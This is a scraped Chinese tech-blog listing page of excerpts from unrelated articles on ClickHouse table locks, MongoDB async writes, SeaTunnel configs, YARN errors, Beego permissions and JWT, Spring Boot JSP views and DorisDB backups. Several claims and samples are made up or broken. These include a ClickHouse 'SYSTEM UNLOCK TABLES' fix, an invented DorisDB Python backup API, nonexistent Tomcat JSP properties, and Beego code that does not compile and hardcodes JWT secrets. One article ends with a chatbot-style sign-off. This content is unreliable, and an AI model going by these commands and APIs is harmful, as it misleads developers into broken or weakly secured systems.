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ClickHouse
...据分析领域因其卓越的查询性能和灵活的数据处理能力而备受青睐。不过在实际操作的时候,咱们可能会时不时撞上一个挺常见的问题——"表已锁定异常"(这货叫"TableAlreadyLockedException"),意思就是这张表格已经被别人锁住啦,暂时动不了。这篇文章,咱会用大白话和满满的干货,实实在在的代码实例,带你一步步深挖这个问题是怎么冒出来的,一起琢磨出解决它的办法,并且还会手把手教你如何巧妙避开这类异常情况的发生。 2. “TableAlreadyLockedException”:现象与原因 2.1 现象描述 在执行对ClickHouse表进行写入、删除或修改等操作时,如果你收到如下的错误提示: sql Code: 395, e.displayText() = DB::Exception: Table is locked (version X has a lock), Stack trace: ... 这就是所谓的“TableAlreadyLockedException”,意味着你尝试访问的表正处于被锁定的状态,无法进行并发写入或结构修改。 2.2 原因剖析 ClickHouse为了保证数据一致性,在对表进行DDL(Data Definition Language)操作,如ALTER TABLE、DROP TABLE等,以及在MergeTree系列引擎进行数据合并时,会对表进行加锁。当多个请求同时抢着对同一张表格做这些操作时,那些不是最先来的家伙就会被“请稍等”并抛出一个叫做“表已锁定异常”的小脾气。 例如,当你在一个会话中执行了如下ALTER TABLE命令: sql ALTER TABLE your_table ADD COLUMN new_column Int32; 同时另一个会话试图对该表进行写入: sql INSERT INTO your_table (existing_column) VALUES (1); 此时,第二个会话就会触发“TableAlreadyLockedException”。 3. 解决方案及实践建议 3.1 避免并发DDL操作 尽量确保在生产环境中,不会出现并发的DDL操作。可以通过任务调度系统(如Airflow、Kubernetes Jobs等)串行化这类任务。 3.2 使用ON CLUSTER语法 对于分布式集群环境,使用ON CLUSTER语法可以确保在所有节点上顺序执行DDL操作: sql ALTER TABLE ON CLUSTER 'your_cluster' your_table ADD COLUMN new_column Int32; 3.3 耐心等待或强制解锁 如果确实遇到了表被意外锁定的情况,可以等待当前正在进行的操作完成,或者在确认无误的情况下,通过SYSTEM UNLOCK TABLES命令强制解锁: sql SYSTEM UNLOCK TABLES your_table; 但请注意,这应作为最后的手段,因为它可能破坏正在执行的重要操作。 4. 预防措施与最佳实践 - 优化业务逻辑:在设计业务流程时,充分考虑并发控制,避免在同一时间窗口内对同一张表进行多次DDL操作。 - 监控与报警:建立完善的监控体系,实时关注ClickHouse集群中的表锁定情况,一旦发现长时间锁定,及时通知相关人员排查解决。 - 版本管理与发布策略:在进行大规模架构变更或表结构调整时,采用灰度发布、分批次更新等策略,降低对线上服务的影响。 总结来说,“TableAlreadyLockedException”是ClickHouse保障数据一致性和完整性的一个重要机制体现。搞明白它产生的来龙去脉以及应对策略,不仅能让我们在平时运维时迅速找到问题的症结所在,还能手把手教我们打造出更为结实耐用、性能强大的大数据分析系统。所以,让我们在实践中不断探索和学习,让ClickHouse更好地服务于我们的业务需求吧!
2024-02-21 10:37:14
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秋水共长天一色
Python
...以去除无关数据、纠正错误数据、填充缺失值或异常值,并统一数据格式和结构。在文章中,作者使用Pandas库进行数据清洗工作,例如通过fillna()函数填充缺失值,确保数据质量,为进一步的数据分析提供准确可靠的基础。 DataFrame , DataFrame是Python数据分析库Pandas中的核心数据结构,它是一个二维表格型数据结构,类似于电子表格或SQL表。DataFrame可以容纳多种类型的数据(如整数、字符串、布尔值等),并提供了丰富的操作方法,如排序、统计计算、合并、重塑等,便于高效地处理和分析大规模结构化数据。 视图函数 , 在Web开发领域,视图函数是MVC(模型-视图-控制器)架构中的“视图”部分的实现,负责处理HTTP请求并将相应结果返回给客户端。在Django框架中,视图函数接收HttpRequest对象作为参数,根据请求内容执行相应的业务逻辑(如数据库查询、数据处理等),然后将处理结果转换为HttpResponse对象返回。文章中的例子展示了如何创建一个简单的Django视图函数,该函数从数据库获取所有博客文章并返回到客户端。 迭代器 , 迭代器是一种设计模式,在Python中表现为具有next()方法的对象,用于访问集合(如列表、字典或生成器)中的元素,但不一次性加载整个集合到内存中。迭代器允许开发者按需逐个访问集合中的项目,从而在处理大量数据时显著减少内存占用,提高程序性能。在文章中,作者提到面对性能优化问题时,会尝试使用迭代器代替列表操作来提升处理大量数据的效率。
2023-09-07 13:41:24
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晚秋落叶_
Cassandra
...一个开源的分布式NoSQL数据库系统,设计用于处理大量数据写入,并能够跨多数据中心分布数据以实现高可用性和容错性。在本文中,Cassandra因其卓越的分布式架构、高可用性和线性扩展性而在大规模数据操作场景下展示了其优势,尤其是通过批量操作和批量加载功能来提高数据插入和更新效率。 CQL(Cassandra Query Language) , CQL是专门为Apache Cassandra设计的一种查询语言,用于与Cassandra数据库进行交互。它提供了一种类似于SQL的语法,使得用户能够更方便地对Cassandra数据库进行读写操作,如插入、更新、删除和查询数据等。在文章中提到,通过CQL可以执行批量操作,将多个语句捆绑在一起执行,以提升数据处理性能并降低网络开销。 AP型数据库 , AP型数据库是指在CAP理论(Consistency, Availability, Partition Tolerance)中优先保证Availability(可用性)和Partition Tolerance(分区容错性)的分布式数据库系统。在Cassandra中,虽然提供了Batch操作以原子方式执行多个操作,但它不支持严格的事务一致性,而是偏向于在分布式环境下保持数据的高可用性和分区容忍性。这意味着即使在网络分区或节点故障情况下,Cassandra仍然能够响应用户的读写请求,但可能无法保证所有节点在同一时刻看到完全一致的数据视图。
2024-02-14 11:00:42
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冬日暖阳
Mongo
...能、灵活且易用的NoSQL数据库,凭借其强大的文档存储能力和高度可扩展性赢得了广大开发者的青睐。本文我们将围绕一个核心问题展开探讨:“在MongoDB中,连接数据库和往数据库中写入数据是异步执行的吗?” 1. 异步编程与MongoDB的交互模型 首先,我们来理解下“异步”这个概念。在编程世界里,异步操作意味着你无需等待某个任务完成就可以继续执行其他代码,而当那个任务完成后,程序会通过回调、事件或者Promise等方式通知你结果。这种方式极大地提高了系统并发处理能力。 MongoDB的驱动程序(如Node.js中的mongodb库)确实采用了异步模式进行数据库连接和写入操作。这是因为,在处理像网络传输、磁盘读写这类IO密集型操作时,如果选择同步执行的方式,会让线程或者进程陷入“等待”的状态,就像堵车一样停滞不前,这样一来,就会影响到整个应用程序的运行效率和性能表现。所以,MongoDB的这个异步设计妙就妙在,即使你的应用程序正在处理海量数据读写,也能稳稳保证响应速度贼快,运行起来流畅得飞起,一点儿不卡顿。 2. 连接MongoDB数据库的异步过程 (以下示例采用Node.js环境及官方mongodb库) javascript const MongoClient = require('mongodb').MongoClient; // 异步连接MongoDB MongoClient.connect('mongodb://localhost:27017/mydatabase', { useNewUrlParser: true, useUnifiedTopology: true }, (err, client) => { if (err) { console.error('Error connecting to MongoDB:', err); return; } console.log('Connected successfully to MongoDB'); // 使用client对象进行数据库操作... const db = client.db(); // ... // 在完成所有数据库操作后,记得关闭连接 client.close(); }); 上述代码展示了如何异步地连接到MongoDB数据库。这里,MongoClient.connect()方法接受一个连接字符串、配置选项以及一个回调函数。当连接成功建立或发生错误时,回调函数会被调用。这正是异步编程的体现,主线程不会被阻塞,直到连接操作完成才执行后续逻辑。 3. 向MongoDB数据库异步写入数据 同样,向MongoDB插入或更新数据也是异步执行的。下面是一个向集合中插入文档的例子: javascript db.collection('mycollection').insertOne({ name: 'John Doe', age: 30 }, (err, result) => { if (err) { console.error('Error inserting document:', err); return; } console.log('Document inserted successfully:', result.insertedId); // 插入操作完成后,可以在这里执行其他逻辑 }); // 注意:这里的db是上一步异步连接成功后获取的数据库实例 这段代码展示了如何异步地向MongoDB的一个集合插入一个文档。你知道吗,这个insertOne()方法就像是个贴心的小帮手,它会接收一个文档对象作为“礼物”,然后再加上一个神奇的回调函数。当你把这个“礼物”放进去,或者在插入过程中不小心出了点小差错的时候,这个神奇的回调函数就会立马跳出来开始干活儿啦! 4. 思考与探讨 在实际开发过程中,异步操作无疑提升了我们的应用性能和用户体验。然而,这也带来了回调地狱、复杂的流程控制等问题。还好啦,现代的JavaScript可真是够意思的,它引入了Promise、async/await这些超级实用的工具,让咱们在处理异步编程时简直如虎添翼。这样一来,我们在和MongoDB打交道的时候,就能写出更加顺溜、更好懂、更好维护的代码,那感觉别提多棒了! 总结来说,MongoDB在连接数据库和写入数据时采取异步机制,这种设计让我们能够在高并发环境下更好地优化资源利用,提升系统效率。同时,作为开发者大兄弟,咱们得深入理解并灵活玩转异步编程这门艺术,才能应对各种意想不到的挑战,把MongoDB那牛哄哄的功能发挥到极致。
2024-03-10 10:44:19
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林中小径_
SeaTunnel
...导致锁定冲突。 - SQL语句错误:提交的SQL语句存在语法错误或逻辑错误。 3.2 如何解决? 既然已经找到了潜在的原因,那么接下来就是解决问题的关键环节了。我们可以从以下几个方面入手: - 检查网络连接:确保数据源与目标数据库之间的网络连接稳定可靠。 - 优化资源管理:增加数据库服务器的资源配额,确保有足够的内存和磁盘空间。 - 避免锁争用:合理安排并发操作,减少锁争用的可能性。 - 验证SQL语句:仔细检查提交的SQL语句,确保其正确无误。 4. 实战演练 为了更好地理解这些问题,我们可以通过一些实际的例子来进行演练。下面我会给出几个具体的代码示例,帮助大家更好地理解和解决问题。 4.1 示例一:处理网络连接问题 java // 这是一个简单的配置文件示例,用于指定数据源和目标数据库 { "source": { "type": "jdbc", "config": { "url": "jdbc:mysql://source_host:port/source_db", "username": "source_user", "password": "source_password" } }, "sink": { "type": "jdbc", "config": { "url": "jdbc:mysql://target_host:port/target_db", "username": "target_user", "password": "target_password" } } } 4.2 示例二:优化资源管理 java // 通过调整配置文件中的参数,增加数据库连接池的大小 { "source": { "type": "jdbc", "config": { "url": "jdbc:mysql://source_host:port/source_db", "username": "source_user", "password": "source_password", "connectionPoolSize": 50 // 增加连接池大小 } }, "sink": { "type": "jdbc", "config": { "url": "jdbc:mysql://target_host:port/target_db", "username": "target_user", "password": "target_password", "connectionPoolSize": 50 // 增加连接池大小 } } } 4.3 示例三:避免锁争用 java // 在配置文件中添加适当的并发控制策略 { "source": { "type": "jdbc", "config": { "url": "jdbc:mysql://source_host:port/source_db", "username": "source_user", "password": "source_password" } }, "sink": { "type": "jdbc", "config": { "url": "jdbc:mysql://target_host:port/target_db", "username": "target_user", "password": "target_password", "concurrency": 10 // 设置并发度 } } } 4.4 示例四:验证SQL语句 java // 在配置文件中明确指定要执行的SQL语句 { "source": { "type": "sql", "config": { "sql": "SELECT FROM source_table" } }, "sink": { "type": "jdbc", "config": { "url": "jdbc:mysql://target_host:port/target_db", "username": "target_user", "password": "target_password", "table": "target_table", "sql": "INSERT INTO target_table (column1, column2) VALUES (?, ?)" } } } 5. 总结与展望 在这次探索中,我们不仅学习了如何处理数据库事务提交失败的问题,还了解了如何通过实际操作来解决这些问题。虽然在这个过程中遇到了不少挑战,但正是这些挑战让我们成长。未来,我们将继续探索更多关于数据集成和处理的知识,让我们的旅程更加丰富多彩。 希望这篇技术文章能够帮助你在面对类似问题时有更多的信心和方法。如果你有任何疑问或建议,欢迎随时与我交流。让我们一起加油,不断进步!
2025-02-04 16:25:24
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半夏微凉
Hadoop
...ger初始化失败”的错误,通常会有很多种原因导致。下面我们就来一一剖析一下。 1. 集群资源不足 当集群的物理资源不足时,例如CPU、内存等硬件资源紧张,就可能导致YARN ResourceManager无法正常初始化。此时需要考虑增加集群资源,例如增加服务器数量,升级硬件设备等。 2. YARN配置文件错误 YARN的运行依赖于一系列的配置文件,包括conf/hadoop-env.sh、core-site.xml、mapred-site.xml、yarn-site.xml等。要是这些配置文件里头有语法错误,或者设置得不太合理,就可能导致YARN ResourceManager启动时栽跟头,初始化失败。此时需要检查并修复配置文件。 3. YARN环境变量设置不当 YARN的运行还需要一些环境变量的支持,例如JAVA_HOME、HADOOP_HOME等。如果这些环境变量设置不当,也会导致YARN ResourceManager初始化失败。此时需要检查并设置正确的环境变量。 4. YARN服务未正确启动 在YARN环境中,还需要启动一些辅助服务,例如NameNode、DataNode、Zookeeper等。如果这些服务未正确启动,也会导致YARN ResourceManager初始化失败。此时需要检查并确保所有服务都已正确启动。 如何解决“YARN ResourceManager初始化失败”? 了解了问题的原因后,接下来就是如何解决问题。根据上述提到的各种可能的原因,我们可以采取以下几种方法进行尝试: 1. 增加集群资源 对于因为集群资源不足而导致的问题,最直接的解决办法就是增加集群资源。这可以通过添加新的服务器,或者升级现有的服务器硬件等方式实现。 2. 修复配置文件 对于因为配置文件错误而导致的问题,我们需要仔细检查所有的配置文件,找出错误的地方并进行修复。同时,咱也得留意一下,改动配置文件这事儿,就像动了机器的小神经,可能会带来些意想不到的“副作用”。所以呢,在动手修改前,最好先做个全面体检——也就是充分测试啦,再给原来的文件留个安全备份,这样心里才更有底嘛。 3. 设置正确的环境变量 对于因为环境变量设置不当而导致的问题,我们需要检查并设置正确的环境变量。如果你不清楚环境变量到底该怎么设置,别担心,这里有两个实用的解决办法。首先呢,你可以翻阅一下Hadoop官方网站的官方文档,那里面通常会有详尽的指导步骤;其次,你也可以尝试在互联网上搜一搜相关的教程或者攻略,网上有很多热心网友分享的经验,总有一款适合你。 4. 启动辅助服务 对于因为辅助服务未正确启动而导致的问题,我们需要检查并确保所有服务都已正确启动。要是服务启动碰到状况了,不妨翻翻相关的文档资料,或者找专业的高手来帮帮忙。 总结 总的来说,解决“YARN ResourceManager初始化失败”这个问题需要我们具备一定的专业知识和技能。但是,只要我们有足够多的耐心和敏锐的观察力,就可以按照上面提到的办法,一步一步地把各种可能性都排查个遍,最后稳稳地找到那个真正能解决问题的好法子。最后,我想说的是,虽然这是一个比较棘手的问题,但我们只要有足够的信心和毅力,就一定能迎刃而解!
2024-01-17 21:49:06
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青山绿水-t
Golang
...现了一篇关于Go语言错误处理的最佳实践的文章,引发了广泛的讨论。作者通过一系列实际案例,深入探讨了如何在Go语言中有效地处理错误信息,以及如何构建更健壮和可靠的系统。这篇文章不仅涵盖了基础的错误检查和错误链路的概念,还引入了自定义错误类型和面向用户的友好错误信息的设计原则。这些内容对于初学者和有一定经验的开发者都非常有启发。 此外,近期的一篇技术博客指出,错误处理在微服务架构中尤其重要。随着分布式系统的普及,单个服务的故障可能会影响到整个系统的稳定性。因此,如何在服务之间传递和处理错误信息,成为了保障系统稳定性的关键因素之一。作者通过分析Netflix的Hystrix框架,展示了如何利用超时、熔断和降级策略来增强系统的容错能力。这种思路不仅可以应用于Go语言,对于其他编程语言也有很好的借鉴意义。 另一篇深入解读则关注了Go语言社区中关于错误处理的一些最新趋势。例如,Go 1.13版本引入了新的错误处理机制,允许开发者通过fmt.Errorf函数将错误对象包装起来,以便在日志记录和错误传播过程中保留原始错误信息。这一改进使得错误链路变得更加清晰,同时也简化了错误处理的代码。此外,还有一些第三方库如errwrap和errors包,提供了更高级的错误处理功能,比如错误嵌套和错误类型转换。 这些延伸阅读不仅补充了原文章的内容,还提供了更多关于Go语言错误处理的实战经验和前沿观点,值得开发者们深入研究和应用。
2024-11-09 16:13:46
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桃李春风一杯酒
Beego
...特别是在用Beego框架开发的时候,怎么才能高效地搞定权限控制,保证系统安全和用户隐私不被侵犯呢?这事儿可不只是技术活儿,简直就像是在搞艺术一样!在这篇文章里,咱们一起来捣鼓一下怎么在Beego项目中整出一个既高效又安全的用户权限管理系统。 二、为什么要重视用户权限管理? 想象一下,如果你的应用程序没有良好的权限管理体系,那么可能会发生以下情况: - 普通用户能够访问到管理员级别的功能。 - 系统数据可能被恶意篡改。 - 用户的敏感信息(如密码、银行卡号等)可能泄露。 这些后果都是灾难性的,不仅损害了用户对你的信任,也可能导致法律上的麻烦。所以啊,每个开发者都得认真搞个牢靠的权限控制系统,不然麻烦可就大了。 三、Beego中的权限管理基础 Beego本身并没有内置的权限管理模块,但我们可以利用其灵活的特性来构建自己的权限控制系统。以下是几种常见的实现方式: 1. 基于角色的访问控制(RBAC) - 这是一种常用的权限管理模型,它通过将权限分配给角色,再将角色分配给用户的方式简化了权限管理。 - 示例代码: go type Role struct { ID int64 Name string } type User struct { ID int64 Username string Roles []Role // 用户可以拥有多个角色 } func (u User) HasPermission(permission string) bool { for _, role := range u.Roles { if role.Name == permission { return true } } return false } 2. JWT(JSON Web Token)认证 - JWT允许你在不依赖于服务器端会话的情况下验证用户身份,非常适合微服务架构。 - 示例代码: go package main import ( "github.com/astaxie/beego" "github.com/dgrijalva/jwt-go" "net/http" "time" ) var jwtSecret = []byte("your_secret_key") type Claims struct { Username string json:"username" jwt.StandardClaims } func loginHandler(c beego.Context) { username := c.Input().Get("username") password := c.Input().Get("password") // 这里应该有验证用户名和密码的逻辑 token := jwt.NewWithClaims(jwt.SigningMethodHS256, Claims{ Username: username, StandardClaims: jwt.StandardClaims{ ExpiresAt: time.Now().Add(time.Hour 72).Unix(), }, }) tokenString, err := token.SignedString(jwtSecret) if err != nil { c.Ctx.ResponseWriter.WriteHeader(http.StatusInternalServerError) return } c.Data[http.StatusOK] = []byte(tokenString) } func authMiddleware() beego.ControllerFunc { return func(c beego.Controller) { tokenString := c.Ctx.Request.Header.Get("Authorization") token, err := jwt.ParseWithClaims(tokenString, &Claims{}, func(token jwt.Token) (interface{}, error) { return jwtSecret, nil }) if claims, ok := token.Claims.(Claims); ok && token.Valid { // 将用户信息存储在session或者全局变量中 c.SetSession("user", claims.Username) c.Next() } else { c.Ctx.ResponseWriter.WriteHeader(http.StatusUnauthorized) } } } 3. 中间件与拦截器 - 利用Beego的中间件机制,我们可以为特定路由添加权限检查逻辑,从而避免重复编写相同的权限校验代码。 - 示例代码: go func AuthRequiredMiddleware() beego.ControllerFunc { return func(c beego.Controller) { if !c.GetSession("user").(string) { c.Redirect("/login", 302) return } c.Next() } } func init() { beego.InsertFilter("/admin/", beego.BeforeRouter, AuthRequiredMiddleware) } 四、实际应用案例分析 让我们来看一个具体的例子,假设我们正在开发一款在线教育平台,需要对不同类型的用户(学生、教师、管理员)提供不同的访问权限。例如,只有管理员才能删除课程,而学生只能查看课程内容。 1. 定义用户类型 - 我们可以通过枚举类型来表示不同的用户角色。 - 示例代码: go type UserRole int const ( Student UserRole = iota Teacher Admin ) 2. 实现权限验证逻辑 - 在每个需要权限验证的操作之前,我们都需要先判断当前登录用户是否具有相应的权限。 - 示例代码: go func deleteCourse(c beego.Controller) { if userRole := c.GetSession("role"); userRole != Admin { c.Ctx.ResponseWriter.WriteHeader(http.StatusForbidden) return } // 执行删除操作... } 五、总结与展望 通过上述讨论,我们已经了解了如何在Beego框架下实现基本的用户权限管理系统。当然,实际应用中还需要考虑更多细节,比如异常处理、日志记录等。另外,随着业务越做越大,你可能得考虑引入一些更复杂的权限管理系统了,比如可以根据不同情况灵活调整的权限分配,或者可以精细到每个小细节的权限控制。这样能让你的系统管理起来更灵活,也更安全。 最后,我想说的是,无论采用哪种方法,最重要的是始终保持对安全性的高度警惕,并不断学习最新的安全知识和技术。希望这篇文章能对你有所帮助! --- 希望这样的风格和内容符合您的期待,如果有任何具体需求或想要进一步探讨的部分,请随时告诉我!
2024-10-31 16:13:08
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初心未变
Java
...为控制器及其视图层的框架。为了让HTML模板与Java逻辑更加清晰地分隔,我们在项目的布局中采用了如下结构: 1. module-core: 应用的核心业务逻辑和服务模块 2. module-web: 启动项,主要包含Web相关的配置与控制层逻辑,依赖于module-core 3. module-views: 存放JSP视图文件,用于前端展示 在此场景下,为确保正确识别并加载JSP视图,我们需要在module-web的配置文件中指定JSP后缀名(spring.mvc.view.suffix),例如: properties spring: mvc: view: prefix: /WEB-INF/views/ suffix: .jsp 然而,当运行程序并尝试访问Controller中带有相关视图名称的方法(如@GetMapping("/home")映射到WEB-INF/views/homePage.jsp)时,浏览器却无法显示出预期的JSP页面内容,且并未抛出任何异常,而是默认返回了空响应或者错误状态码。 三、问题分析与排查 面对这一看似简单的配置失效问题,我们首先需要进行如下几个方面的排查: 1. 检查视图解析器配置 确保视图解析器org.springframework.web.servlet.view.InternalResourceViewResolver已被正确注册并设置了prefix与suffix属性。检查Spring Boot启动类(如WebMvcConfig.java或Application.java中的WebMvcConfigurer实现): java @Configuration public class WebMvcConfig implements WebMvcConfigurer { @Override public void configureViewResolvers(ViewResolverRegistry registry) { InternalResourceViewResolver resolver = new InternalResourceViewResolver(); resolver.setPrefix("/WEB-INF/views/"); resolver.setSuffix(".jsp"); registry.viewResolver(resolver); } } 2. 模块间依赖与资源路径映射 确认module-web是否正确引入了module-views的相关JSP文件,并指定了正确的资源路径。查看module-web的pom.xml或build.gradle文件中对视图资源模块的依赖路径: xml com.example module-views 1.0.0 war runtime classes // Gradle dependencies { runtimeOnly 'com.example:module-views:1.0.0' } 以及主启动类(如Application.java)中的静态资源映射配置: java @SpringBootApplication public class Application { @Bean TomcatServletWebServerFactory tomcat() { TomcatServletWebServerFactory factory = new TomcatServletWebServerFactory(); factory.addContextCustomizer((TomcatWebServerContext context) -> { // 将模块视图目录映射到根URL下 context.addWelcomeFile("index.jsp"); WebResourceRoot resourceRoot = new TomcatWebResourceRoot(context, "static", "/"); resourceRoot.addDirectory(new File("src/main/resources/static")); context.setResources(resourceRoot); }); return factory; } public static void main(String[] args) { SpringApplication.run(Application.class, args); } } 3. 检查JSP引擎配置 确保Tomcat服务器配置已启用JSP支持。在module-web对应的application.properties或application.yml文件中配置JSP引擎: properties server.tomcat.jsp-enabled=true server.tomcat.jsp.version=2.3 或者在module-web的pom.xml或build.gradle文件中为Tomcat添加Jasper依赖: xml org.apache.tomcat.embed tomcat-embed-jasper provided // Gradle dependencies { implementation 'org.apache.tomcat.embed:tomcat-embed-jasper:9.0.54' } 4. 控制器与视图名称匹配验证 在完成上述配置后,请务必核实Controller中返回的视图名称与其实际路径是否一致。如果存在命名冲突或者拼写错误,将会导致Spring MVC无法找到预期的JSP视图: java @GetMapping("/home") public String home(Model model) { return "homePage"; // 视图名称应更改为"WEB-INF/views/homePage.jsp" } 四、总结与解决办法 综上所述,Spring Boot返回JSP无效的问题可能源于多个因素的叠加效应,包括但不限于视图解析器配置不完整、模块间依赖关系未正确处理、JSP引擎支持未开启、或Controller与视图名称之间的不对应等。要解决这个问题,需从以上几个方面进行逐一排查和修正。 切记,在面对这类问题时,要保持冷静并耐心地定位问题所在,仔细分析配置文件、源代码和日志输出,才能准确找出症结所在,进而成功解决问题。这不仅让我们实实在在地磨炼了编程功夫,更是让咱们对Spring Boot这家伙的工作内幕有了更深的洞察。这样一来,我们在实际项目中遇到问题时,调试和应对的能力都像坐火箭一样嗖嗖提升啦!
2024-02-17 11:18:11
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半夏微凉_t
DorisDB
...,数据备份过程中出现错误的情况时有发生,这些错误可能源于多种因素,包括硬件故障、软件兼容性问题、配置错误等。哎呀,兄弟!今天咱们得聊点实际的,就是用DorisDB处理数据备份时可能会遇到的一些小麻烦。咱们不光要理论分析,还得看看真家伙是怎么出问题的,然后怎么解决。就是要让你我都能明明白白地知道,这些事儿该怎么处理,别让它们成为你的技术路上的绊脚石。咱们得学着从实战中吸取经验,这样下次遇到类似的问题,你就不会一头雾水了,对吧? 2. DorisDB简介与优势 DorisDB是一款高性能、分布式列式存储系统,专为大规模数据集提供实时查询服务。它支持SQL查询语言,并能高效地处理PB级别的数据。哎呀,你瞧,DorisDB这玩意儿可真给力!它提供了超棒的数据备份工具和机制,保证你的数据既完整又一致。不管遇到多复杂的状况,它都能稳稳地运行,就像个忠诚的守护神一样,保护着你的数据安全无虞。是不是感觉用起来既安心又省心呢? 3. 备份策略的重要性 在DorisDB中,制定有效的备份策略至关重要。哎呀,这事儿可得仔细想想!咱们得定期给数据做个备份,以防万一,万一哪天电脑突然罢工或者数据出啥问题,咱还能有东西可补救。别小瞧了这一步,选对备份文件存放在哪儿,多久检查一次备份,还有万一需要恢复数据,咱得有个顺溜的流程,这每一步都挺关键的。就像是给宝贝儿们做保险计划一样,得周全,还得实用,不能光图个形式,对吧?哎呀,兄弟,咱们得给数据做个保险啊!就像你出门前检查门窗一样,定期备份数据,能大大降低数据丢了找不回来的风险。万一哪天电脑罢工或者硬盘坏掉啥的,你也不至于急得团团转,还得去求那些所谓的“数据恢复大师”。而且,备份做得好,恢复数据的时候也快多了,省时间又省心,这事儿得重视起来! 4. 遇到问题时的常见错误及解决方法 错误1:备份失败,日志提示“空间不足” 原因:这通常是因为备份文件的大小超过了可用磁盘空间。 解决方法: 1. 检查磁盘空间 首先确认备份目录的磁盘空间是否足够。 2. 调整备份策略 考虑使用增量备份,仅备份自上次备份以来发生变化的数据部分,减少单次备份的大小。 3. 优化数据存储 定期清理不再需要的数据,释放更多空间。 python 示例代码:设置增量备份 dorisdb_backup = dorisdb.BackupManager() dorisdb_backup.set_incremental_mode(True) 错误2:备份过程中断电导致数据损坏 原因:断电可能导致正在执行的备份任务中断,数据完整性受损。 解决方法: 1. 使用持久化存储 确保备份操作在非易失性存储设备上进行,如SSD或RAID阵列。 2. 实施数据同步 在多个节点间同步数据,即使部分节点在断电时仍能继续备份过程。 python 示例代码:设置持久化备份 dorisdb_backup = dorisdb.BackupManager() dorisdb_backup.enable_persistence() 5. 数据恢复实战 当备份数据出现问题时,及时且正确的恢复策略至关重要。DorisDB提供了多种恢复选项,从完全恢复到特定时间点的恢复,应根据实际情况灵活选择。 步骤1:识别问题并定位 首先,确定是哪个备份文件或时间点出了问题,这需要详细的日志记录和监控系统来辅助。 步骤2:选择恢复方式 - 完全恢复:将数据库回滚到最近的备份状态。 - 时间点恢复:选择一个具体的时间点进行恢复,以最小化数据丢失。 步骤3:执行恢复操作 使用DorisDB的恢复功能,确保数据的一致性和完整性。 python 示例代码:执行时间点恢复 dorisdb_restore = dorisdb.RestoreManager() dorisdb_restore.restore_to_timepoint('2023-03-15T10:30:00Z') 6. 结语 数据备份和恢复是数据库管理中的重要环节,正确理解和应用DorisDB的相关功能,能够有效避免和解决备份过程中遇到的问题。通过本篇讨论,我们不仅了解了常见的备份错误及其解决方案,还学习了如何利用DorisDB的强大功能,确保数据的安全性和业务的连续性。记住,每一次面对挑战都是成长的机会,不断学习和实践,你的数据管理技能将愈发成熟。 --- 以上内容基于实际应用场景进行了概括和举例说明,旨在提供一种实用的指导框架,帮助读者在实际工作中应对数据备份和恢复过程中可能出现的问题。希望这些信息能够对您有所帮助!
2024-07-28 16:23:58
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山涧溪流
Beego
Beego框架下的JWT令牌生命周期管理 引言 在构建现代Web应用时,安全性和可扩展性是至关重要的考虑因素。哎呀,你听过JWT吗?它就像是身份验证的小秘密武器,特别是对于那些不想在服务器端搞一堆复杂会话管理的小伙伴来说,简直太完美了!因为它超级轻便,不需要在服务器那边搞一堆额外的负担,就能搞定用户的登录验证和权限管理,所以用的人可多了去了!本文将深入探讨如何在Beego框架中集成和管理JWT令牌的生命周期,包括生成、验证、刷新以及过期处理,旨在为开发者提供一套全面且易于实施的解决方案。 1. JWT基础与Beego整合 JWT是一种基于JSON的开放标准,用于在客户端和服务器之间传递安全信息。它由三个部分组成:头部、载荷和签名。哎呀,这个头儿啊,就像快递包裹上的标签一样,上面写着各种算法和类型的信息,就像收件人地址和物品名称。包裹里面装的可就是用户的私货啦,比如个人信息、数据啥的。最后那个签名呢?就像是快递小哥在包裹上按的手印,用加密的方法保证了这东西是没被偷看或者变过样,而且能确认是它家快递员送来的,不是冒牌货。 在Beego框架中,我们可以利用第三方库如jwt-go来简化JWT的生成和验证过程。首先,需要在项目的依赖文件中添加如下内容: bash go get github.com/dgrijalva/jwt-go 接下来,在你的控制器中引入并使用jwt-go库: go package main import ( "github.com/dgrijalva/jwt-go" "github.com/beego/beego/v2/client/orm" "net/http" ) // 创建JWT密钥 var jwtKey = []byte("your-secret-key") type User struct { Id int64 orm:"column(id);pk" Name string orm:"column(name)" } func main() { // 初始化ORM orm.RegisterModel(new(User)) // 示例:创建用户并生成JWT令牌 user := &User{Name: "John Doe"} err := orm.Insert(user) if err != nil { panic(err) } token, err := createToken(user.Id) if err != nil { panic(err) } http.HandleFunc("/login", func(w http.ResponseWriter, r http.Request) { w.Write([]byte(token)) }) http.ListenAndServe(":8080", nil) } func createToken(userId int64) (string, error) { claims := jwt.StandardClaims{ Issuer: "YourApp", ExpiresAt: time.Now().Add(time.Hour 24).Unix(), Subject: userId, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString(jwtKey) } 2. JWT验证与解码 在用户请求资源时,我们需要验证JWT的有效性。Beego框架允许我们通过中间件轻松地实现这一功能: go func authMiddleware(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r http.Request) { tokenHeader := r.Header.Get("Authorization") if tokenHeader == "" { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } tokenStr := strings.Replace(tokenHeader, "Bearer ", "", 1) token, err := jwt.Parse(tokenStr, func(token jwt.Token) (interface{}, error) { if _, ok := token.Method.(jwt.SigningMethodHMAC); !ok { return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) } return jwtKey, nil }) if err != nil { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } if !token.Valid { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } next.ServeHTTP(w, r) } } http.HandleFunc("/protected", authMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { claims := token.Claims.(jwt.MapClaims) userID := int(claims["subject"].(float64)) // 根据UserID获取用户信息或其他操作... }))) 3. 刷新令牌与过期处理 为了提高用户体验并减少用户在频繁登录的情况下的不便,可以实现一个令牌刷新机制。当JWT过期时,用户可以发送请求以获取新的令牌。这通常涉及到更新JWT的ExpiresAt字段,并相应地更新数据库中的记录。 go func refreshToken(w http.ResponseWriter, r http.Request) { claims := token.Claims.(jwt.MapClaims) userID := int(claims["subject"].(float64)) // 更新数据库中的用户信息以延长有效期 err := orm.Update(&User{Id: userID}, "expires_at = ?", time.Now().Add(time.Hour24)) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } newToken, err := createToken(userID) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } w.Write([]byte(newToken)) } 4. 总结与展望 